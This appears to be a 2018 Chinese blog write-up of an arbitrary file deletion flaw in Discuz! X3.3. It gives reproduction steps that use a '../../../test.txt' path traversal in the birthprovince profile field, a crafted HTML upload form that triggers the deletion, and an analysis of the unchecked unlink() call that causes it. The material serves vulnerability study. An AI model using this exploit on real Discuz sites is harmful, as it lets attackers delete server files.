Discuz小于3.3任意文件删除漏洞

0x01 前言

之前网上爆的的是Discuz!<=3.4的任意文件删除漏洞,为什么这里变成3.3了呢?因为厂商已经把3.4的修复了,不过3.3版本还是存在问题的。

0x02 漏洞复现

首先,在本地创建一个我们要删除的测试文件

注册一个账号

然后点击保存,用burp抓个包,就可以得到我们的formhash,并在birthprovince中修改成我们要删除的文件路径(../../../test.txt)

然后可以在本地创建一个文件上传的表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<title>Upload</title>
</head>
<body>
<form action="http://127.0.0.1:8080/code_audit/Discuz_X3.3_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="a7ccdf77"/>
<input type="text" name="profilesubmit" value="1"/>
<input type="submit" value="Submit" />
</from>
</body>
</html>

然后点击上传

就完成了删除文件了~
![](/images/Discuz3.3任意文件删除漏洞7.png

0x03 漏洞分析

这里漏洞出现在/upload/source/include/spacecp/spacecp_profile.php


这里第182、183行有两个unlink()函数可以删除文件,但是需要formtype=file才可以,我们把这里的打印出来

发现并不是file,因此不能在这里进行删除,继续往下看,

第229行有一个unlink()函数,并且没有任何判断,也就是说只要程序运行到这里,就可以删除文件。看一下条件

1
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

这里向上回溯,看一下$space[$key]在哪里。

出现在第23行,发现这个就是用户的个人设置,我们可以选择birthprovince,修改成要删除的文件就好了,然后实现一个上传文件 的表单,就可以删除文件了。

本文标题:Discuz小于3.3任意文件删除漏洞

文章作者:Pino-HD

发布时间:2018年06月10日 - 15:06

最后更新:2018年06月19日 - 19:06

原始链接:https://pino-hd.github.io/2018/06/10/Discuz小于3.3任意文件删除漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!